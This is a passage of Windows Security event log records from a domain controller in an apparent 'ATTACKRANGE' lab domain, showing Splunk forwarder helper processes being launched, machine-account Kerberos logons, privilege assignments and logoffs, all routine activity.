	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x358
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:50:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256828
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:50:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256830
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:50:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256831
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:50:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256832
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:50:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256834
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:50:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256833
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:50:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256837
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46C1E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:50:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256836
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x46C1E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49289

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:50:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256835
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46C1E4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:51:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256838
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:51:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256839
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:51:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256840
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:51:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256841
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x784
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:51:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256842
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:51:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256843
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:51:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256844
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:51:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256846
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x46EC5F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49295

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:51:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256845
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46EC5F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:51:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256848
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x46F38D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{68513207-EE9F-7088-7C79-4A7797658EB5}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:51:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256847
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46F38D

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/12/2021 01:51:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256849
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x46EC5F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:51:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
